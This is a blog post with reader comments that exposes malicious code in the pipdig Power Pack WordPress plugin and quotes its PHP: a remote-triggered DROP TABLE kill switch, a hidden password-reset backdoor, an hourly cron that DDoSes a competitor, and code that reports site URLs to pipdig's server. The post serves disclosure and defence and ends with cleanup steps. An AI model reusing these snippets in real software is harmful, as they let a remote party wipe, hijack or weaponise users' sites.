Security alert: pipdig insecure, DDoSing competitors

26 comments

I love WordPress. I make my living from it. It’s no exaggeration to say that developing WordPress websites has changed my life: it provides me with an income that pays my mortgage and feeds my babies. However, every now and again something happens in the WordPress community that gets my back up, and this week is no exception.

An unnamed client approached me this week complaining that her website, which was running a theme she’d purchased from a WordPress theme provider, was behaving oddly. Amongst other things, it was getting slower for no obvious reason. As speed is an important ranking factor for search engines (not to mention crucial for retaining visitors) I said I’d do some digging. What I discovered absolutely blew me away; I’ve never seen anything like it.

pipdig, one of the biggest WordPress theme providers to bloggers, is distributing code dressed up as the “pipdig Power Pack” plugin which amongst other things:

  • is using other blogger’s servers to perform a DDoS on a competitor
  • is manipulating blogger’s content to change links to competitor WordPress migration services to point to the pipdig site
  • is harvesting data from blogger’s sites without permission, directly contravening various parts of the GDPR
  • is using the harvested data to, amongst other things, gain access to blogger’s sites by changing admin passwords
  • contains a ‘kill switch’ which drops all database tables
  • deliberately disables other plugins that pipdig has decided are unnecessary, without asking permission
  • hides admin notices and meta boxes from WordPress core and other plugins from the dashboard, which could contain vital information

Let’s break this down bit by bit.

pipdig p3 plugin performing a DDoS on a competitor

In /p3/inc/cron.php we have the following block of code nested in a function which WP Cron runs every single hour:

// Check CDN cache
$url_3 = 'https://pipdigz.co.uk/p3/id39dqm3c0_license_h.txt';
$response = wp_safe_remote_get($url_3, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

The code comment tells us this is “checking the CDN (content delivery network) cache”. It’s not. This is performing a GET request on a file (id39dqm3c0_license_h.txt) sat on pipdigz.co.uk, which yesterday morning returned ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ in the response body.

When the response body is not empty, i.e. when it contains that URL, the following code sends a second GET request to the admin-ajax.php URL from the response, with a faked user agent:

$rcd = trim($response['body']);
$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);

So, every single hour night and day, without any manual intervention, any blogger running the pipdig plugin will send a request with a faked User Agent to ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ with a random number string attached. This is effectively performing a small scale DDoS (Distributed Denial of Service) on kotrynabassdesign.com’s server.

I spoke to Kotryna about these requests to rule out some sort of mutual arrangement with pipdig, and she said:

I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.

Further, Kotryna provided me with conversations she had with her host:

Note the quotes from her server log file, in particular the exact User Agent string recorded in the pipdig plugin (‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36’) and the request to admin-ajax.php using a random numbered query string exactly as per the request PHP.

Clarification 2019-03-29 20:00 GMT: Kotryna is the victim of the DDoS-like attack. She is in no way implicated as a co-conspirator in this and has been incredibly helpful in dealing with my enquiries.

The only exception to this DDoSing is for customers of pipdig’s own hosting – because the hourly cron runs this check first:

if (function_exists('pipdighost_admin_footer')) {
	return;
}

…presumably so as not to slow down the pipdig server(s) and to prevent any finger being pointed at customers of theirs.

There is also a second request identical to this in the Once Daily cron, although I’ve not been able to get it to return a URL in the body yet:

$url = 'https://pipdigz.co.uk/p3/id39dqm3c0_license.txt';
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

Who knows who or what is being spammed by that one.

Next:

pipdig manipulating blogger content for links

In /p3/inc/functions.php, line 307 onwards:

function p3_content_filter($content) {
	if (get_transient('p3_news_new_user_wait')) {
		return $content;
	} elseif (is_single()) {
		$content = str_replace('bloger'.'ize.com', 'pipdig.co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content);
		$content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content);
	}
	return $content;
}
add_filter('the_content', 'p3_content_filter', 20);

Here we have pipdig’s plugin searching for mentions of ‘blogerize.com‘ with the string split in two and rejoined – concatenated – to make it harder to find mentions of competitors when doing a mass ‘Find in Files’ across the plugin (amongst other things). When the plugin finds links to blogerize.com in blogger’s content (posts, pages), they’re swapped out with a link to ‘pipdig.co/shop/blogger-to-wordpress-migration/’ i.e. pipdig’s own blog migration services. Swapping these links out boost the SEO benefit to pipdig, and the vast majority of bloggers wouldn’t notice the switcheroo (especially as if the page/post was edited, the link to blogerize would appear in the backend as normal).

pipdig harvesting data & changing admin passwords

Back to /p3/inc/cron.php and the Once Hourly job:

$me = get_site_url();
// Check for new social channels to add to navbar etc
if (!get_transient('p3_news_new_user_wait')) {
$url = 'https://pipdigz.co.uk/p3/socialz.txt';
$args = array('timeout' => 4);
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if (email_exists(sanitize_email($response['body']))) {
		p3_check_social_links(email_exists(sanitize_email($response['body'])));
		wp_safe_remote_get('https://pipdigz.co.uk/p3/socialz.php?list='.rawurldecode($me), $args);
	}
}
}

Here the code comment tells us this piece of code will ‘Check for new social channels to add to navbar etc’. Again, blatant lies. This code performs a GET request on https://pipdigz.co.uk/p3/socialz.txt which is expecting an email address in the response. When an email address is ‘received’ in GET request body, the function checks for the existence of that email address in the Users table, runs its own ‘p3_check_social_links’ function against it and then records the site URL (contained in $me) using a script at https://pipdigz.co.uk/p3/socialz.php.

p3_check_social_links(), despite its name, is a wrapper for a function in /p3/inc/functions.php line 195 which changes the user password to ‘p3_safe_styles’. In plain English: when the cron runs it checks for an email address in socialz.txt. If that email address exists, it changes the password to that account and logs your URL in socialz.php to allow access to whomever has access to that file. If your admin email address were returned by socialz.txt you would be chucked out of your admin account.

One blogger argued that this could be used to provide blogger support to pipdig users. While that this is feasibly the case, it’s an entirely unsavoury way of going about it for any of the following reasons:

  • It’s a backdoor which can be activated at any time (not just when support is required).
  • We don’t know who has access to that data: big corporations can’t keep user passwords secret, why should we trust pipdig?
  • There are ways and means to support WordPress users without resetting their password.
  • This could easily be hijacked for malicious means
  • The password is right there in plain text; I could monitor the socialz.txt file for a response and with a bit of Googling easily find out the corresponding blogs to email addresses and gain access with the insecure password.

Not done yet; a little further down cron.php a function runs to harvest a list of URLs of customers from another competitor, lyricalhost.com:

if (!get_option('p3_check_linkded')) {
	$error_src = parse_url($me, PHP_URL_HOST);
	$dns = dns_get_record($error_src, DNS_NS);
	if ((isset($dns[0]['target']) && (strpos($dns[0]['target'], 'l'.'yr'.'i'.'calhost'.'.co'.'m') !== false)) || (isset($dns[1]['target']) && (strpos($dns[1]['target'], 'ly'.'ri'.'calhost'.'.co'.'m') !== false)) ) {
		wp_safe_remote_get('https://pipdigz.co.uk/p3/list.php?list='.rawurldecode($me), $args);
		update_option('p3_check_linkded', 1);
	}
}

Again, note the concatenation of strings to make it hard to find references to this particular host. Next…

pipdig contains a kill switch which wipes blogs

And now for the particularly nasty one: in /p3/inc/cron.php we have the following:

$url_2 = 'https://pipdigz.co.uk/p3/id39dqm3c0.txt';
$response = wp_safe_remote_get($url_2, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if ($me === trim($response['body'])) {
		global $wpdb;
		$prefix = str_replace('_', '\_', $wpdb->prefix);
		$tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
		foreach ($tables as $table) {
			$wpdb->query("DROP TABLE $table");
		}
	}
}

This code performs a GET request on ‘https://pipdigz.co.uk/p3/id39dqm3c0.txt’. If it returns a blog URL which matches yours, it looks for all tables with the WordPress prefix and drops them one by one. In other words, if your site is on his kill list, you can kiss goodbye to every post, page, plugin/general settings, widget contents, theme customisations, any form data or miscellaneous content. Bang, gone, goodbye. When was the last time you took a full back-up of your WordPress database?

pipdig disabling plugins it deems unnecessary

Straight up rude, in /p3/p3.php upon plugin activation the plugin deactivates a whole host of plugins without asking:

$plugins = array(
	'wd-instagram-feed/wd-instagram-feed.php',
	'instagram-slider-widget/instaram_slider.php',
	'categories-images/categories-images.php',
	'mojo-marketplace-wp-plugin/mojo-marketplace.php',
	'mojo-marketplace-hg/mojo-marketplace.php',
	'autoptimize/autoptimize.php',
	'heartbeat-control/heartbeat-control.php',
	'instagram-slider-widget/instaram_slider.php',
	'vafpress-post-formats-ui-develop/vp-post-formats-ui.php',
	'advanced-excerpt/advanced-excerpt.php',
	'force-regenerate-thumbnails/force-regenerate-thumbnails.php',
	'jch-optimize/jch-optimize.php',
	'rss-image-feed/image-rss.php',
	'wpclef/wpclef.php',
	'wptouch/wptouch.php',
	'hello-dolly/hello.php',
	'theme-test-drive/themedrive.php',
);
deactivate_plugins($plugins);

Further down, another bunch are deactivated but this time on admin_init, which would run every time you load a backend panel, making it possible to ever re-enable them while you were running pipdig’s plugin:

// Don't allow some plugins. Sorry not sorry.
function p3_trust_me_you_dont_want_this() {
	$plugins = array(
		'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching.
		'remove-query-strings-from-static-resources/remove-query-strings.php',
		'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the  so the widgets can render correctly.
		'fast-velocity-minify/fvm.php',
		'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons
		'theme-check/theme-check.php', // our themes aren't designed for the w.org repo
		'wp-support/index.php' // malware?
	);
	deactivate_plugins($plugins);
}
add_action('admin_init', 'p3_trust_me_you_dont_want_this');

Some of this is ethically questionable behaviour from a major provider of WordPress themes but could maybe be summarised as “you pay your money, you takes your chances” as is the norm in the WordPress paid eco-system, but I can’t think of a single legitimate reason for DDoSing competitors and running DROP TABLES on random blogs.

Important note: I wrote this post yesterday, and hung on to it while I sought advice from a third party. Overnight, pipdig released a plugin update removing the relevant code from circulation. I assume his server logs recorded my requests/tests yesterday to the files listed. These problems apply to version 4.7.3 which you can download here to verify my claims.

Because pipdig is using a third party updater rather than distributing his plugin/themes via WordPress, he could feasibly roll an update out at any time re-implementing the code that’s been removed, and worse. While this is a theoretical risk associated with all providers who sell themes and plugins away from the WordPress theme & plugin directories, I’m not aware of any other provider actively misusing the platform in this way.

If you’re affected by this, i.e. you have a pipdig theme/plugin, particularly if you’re running version 4.7.3 or earlier of the p3 power pack, I recommend the following steps:

  • Back-up your WordPress files & database
  • Activate an alternate theme
  • Deactivate and remove the p3 power pack plugin & any supplementary plugins it bundles with
  • Check for any users you don’t recognise and remove them
  • Reset your admin password(s)
  • Install WP Crontrol or similar cron management plugin, and remove any cron jobs named p3_
  • Back-up your WordPress files & database again

Alternatively, your host may be able to assist you with moving away from pipdig or removing traces of the code from your server.

UPDATE 2019-03-29 23:32 GMT: link to Kotryna’s site removed at her request

Jem Turner jem@jemjabella.co.uk +44(0)7521056376

26 comments so far

  1. Peter Green said:
    On March 29, 2019 at 8:00 pm

    This is presumably illegal isn’t it? It, at least, must violate someone’s Ts&Cs?

    Disgusting…

    Reply
  2. Zoe Corkhill said:
    On March 29, 2019 at 8:03 pm

    He also deactivates any jetpack modules he doesn’t like, which can be a problem in itself

    Reply
    • Jem said:
      On March 29, 2019 at 8:07 pm

      I saw that, but wasn’t sure if he was giving replacement functionality – I’ve not used jetpack enough to verify what he was trying to achieve :/

      Reply
  3. Zoe Corkhill said:
    On March 29, 2019 at 8:21 pm

    Only for a couple of the features, and some not entirely. Some he disables just because he doesn’t like how they work (not sure if still the case but it used to include the image CDN)

    Reply
  4. Diana said:
    On March 29, 2019 at 9:23 pm

    I experienced something weird last week where my website was being directed to another website.

    Reply
  5. Joseph Dickson said:
    On March 30, 2019 at 2:33 am

    In pipdig’s public response to this post, specifically how their handling their theme support license troubles me. I’ll try to explain.

    They copyright their theme’s code and distribute it privately and their post admits to deactivating the Meta widget a few dashboard meta boxes and some other bits they don’t like in WordPress core. Admittedly, these are trivial changes.

    WordPress is licensed under the GPL and their code is modifying how the dashboard functions. Therefore by making these seemingly insignificant modifications they accept the GPL and can’t restrictively copyright their product in an attempt to prevent third parties from re-distributing it.

    It’s unfortunate that people are bypassing the support license. But, this isn’t the way to handle it. Plenty of professional themes exist under the GPL and charge for support.

    Reply
  6. Mark said:
    On March 30, 2019 at 8:14 am

    Jem, I suspect they updated their plugin also because of Wordfence’s questioning them:
    https://www.wordfence.com/blog/2019/03/peculiar-php-present-in-popular-pipdig-power-pack-plugin/

    More info on the company, its address, directors and managers can be found with a simple Google search on their company number:
    https://beta.companieshouse.gov.uk/search?q=9274334

    and by using Endole’s “Business information for Corporate Risk, B2B Marketing and Sales”: https://suite.endole.co.uk/insight/company/09274334-pipdig-ltd

    This is all publicly available information, and this people ought to give their customers, competitors and WordPress community a better explanation than what they gave so far.

    Reply
  7. Mike S. said:
    On March 30, 2019 at 6:15 pm

    Great work Jem.

    Don’t know if you were aware, Pipdig released v4.8 because someone else simultaneously discovered this and reached out to WordFence about it. WordFence dug into the plugin code like you did and found the same things, they in turn reached out to Pipdig about the discovery. WordFence has a blog post about this, and credits you with additional work on this uncovering.

    I guess you can say Pipdig were caught, so they released an update. WordFence claims the 4.8 release doesn’t fix all of the problems. The Drop tables call is removed but the function is orphaned? The disabling plugins remains, as does the content changing functions, among others. Probably best to continue to stay away as you have suggested.

    Good discovery.

    Reply
  8. M.A. Bell said:
    On March 30, 2019 at 6:33 pm

    This behaviour is absolutely despicable and contrary to everything I have grown to understand about the inclusive and helpful WP culture. Thank you so much for the effort and time you spent looking into this.
    I’d like to post a link to this article on all of the WordPress groups I am a part of on Facebook as well as on my own 3 blogs. I see nothing preventing this in the comment policy but I always ask first.

    Reply
  9. Ray Hunt said:
    On March 30, 2019 at 7:00 pm

    I also read the Wordfence blog on this yesterday. I’m aware of EU law regarding this kind of activity, but I would suspect criminal charges forthcoming provided there was proof of material damage.

    Reply
  10. Ray Hunt said:
    On March 30, 2019 at 7:01 pm

    Meant to say “I’m not aware…”

    Reply
  11. Nile Flores said:
    On March 31, 2019 at 10:12 pm

    Ooh, that is nasty! Thanks for writing this all up and documenting it so well, Jem.

    Reply
  12. Terry Lin said:
    On April 1, 2019 at 8:59 am

    Thanks for writing this.

    Reply
  13. Criação Ribeirão Preto said:
    On April 1, 2019 at 12:36 pm

    Wow. I wonder how they thought no one would notice.

    Reply
  14. Simon said:
    On April 1, 2019 at 12:54 pm

    To be fair, their official response: https://www.pipdig.co/blog/sad-times/ states that some of the measures were taken by them to challenge fraudulent distribution of their products by other companies.

    It looks as if this could especially be the case for kotrynabassdesign.com that you mention above.

    While I still find their measures a really bad implementation and there are like 1,000 better ways to deal with license theft, I think you should update your post to reflect their position.

    Also, I wonder if you contacted them before you disclosed these issues publicly?

    Reply
    • Jem said:
      On April 2, 2019 at 9:36 am

      Unfortunately Simon, their response doesn’t make any sense. For starters, the victim her her own theme shop, and has existed online long before pipdig – she has literally no reason to distribute pipdig’s product. Secondly, from a technical point of view it’s completely bollocks; even if the victim had been distributing pipdig themes (which I reiterate, she wasn’t) nothing in that code would have prevented that, except by virtue of the DDoS bringing down her server (which is illegal).

      Their response has been analysed and broken down by a multitude of people from across the technical spectrum and nobody agrees with their spin. I definitely won’t be including their bullshit response in my post.

      I have already explained why I didn’t get in touch with them prior to publishing in this post but I’ll repeat it here for your benefit:

      In normal development scenarios, where a security bug is found, it’s absolutely imperative that the bug is disclosed to the software or code vendor to give them time to release a fix protecting their customers. In this case, because pipdig are the cause of the issue, this does not apply. I did not wish to give pipdig time to hide their wrongdoings, and I knew that the customers would be better protected by going public: forcing pipdig to fix the issue. This logic was proved as they’d already started to cover their tracks by the time I’d published my post; I had assumed at the time that they’d pick up on my traffic to their malicious files, but the evidence now suggests that Wordfence’s contact tipped them off.

      Reply
  15. Anh Tran said:
    On April 2, 2019 at 2:49 pm

    Unbelievable! This is illegal, unethical and unacceptable! They’re a big theme provider and their act and their response aren’t acceptable!

    I saw the news yesterday on Twitter and just read your post. Thanks a lot for investigating into this problem and providing very detailed report! It’s very helpful.

    Reply
  16. Pierre LeBaux said:
    On April 3, 2019 at 3:38 pm

    Thanks for doing the manual labour of dissecting this burrito of exploits. I mean, you can’t possibly pack more shit into one plugin, it has to be some kind of record.

    Reply

Leave a Comment

Please read the comment policy before leaving a comment.